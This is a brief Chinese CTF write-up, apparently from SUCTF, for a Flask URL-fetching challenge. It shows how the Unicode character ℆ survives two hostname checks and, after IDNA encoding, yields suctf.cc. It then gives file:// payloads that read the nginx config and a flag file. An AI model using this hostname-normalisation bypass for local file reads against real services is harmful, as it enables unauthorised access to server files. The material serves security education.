题目：
@app.route('/getUrl', methods=['GET', 'POST'])
def getUrl():
url = request.args.get("url")
host = parse.urlparse(url).hostname
if host == 'suctf.cc':
return "我扌 your problem? 111"
parts = list(urlsplit(url))
host = parts[1]
if host == 'suctf.cc':
return "我扌 your problem? 222 " + host
newhost = []
for h in host.split('.'):
newhost.append(h.encode('idna').decode('utf-8'))
parts[1] = '.'.join(newhost)
#去掉 url 中的空格
finalUrl = urlunsplit(parts).split(' ')[0]
host = parse.urlparse(finalUrl).hostname
if host == 'suctf.cc':
return urllib.request.urlopen(finalUrl).read()
else:
return "我扌 your problem? 333"
<!-- Dont worry about the suctf.cc. Go on! -->
<!-- Do you know the nginx? -->
注意
newhost.append(h.encode('idna').decode('utf-8'))
意思是将域名每个部分进行idna编码后，再utf-8解码
并且需要绕过前两个if判断，进入第三个if判断去利用read()函数
简单来说就是
在前两个判断时不能是suctf.cc
第三个是suctf.cc
1.肯定要去读nginx配置文件并且字符℆ 在后台转码会解析为c/u
构造payload
file://suctf.c℆sr/local/nginx/conf/nginx.conf
image.png
可以看到flag所在
2.
file://suctf.c℆sr/fffffflag
image.png
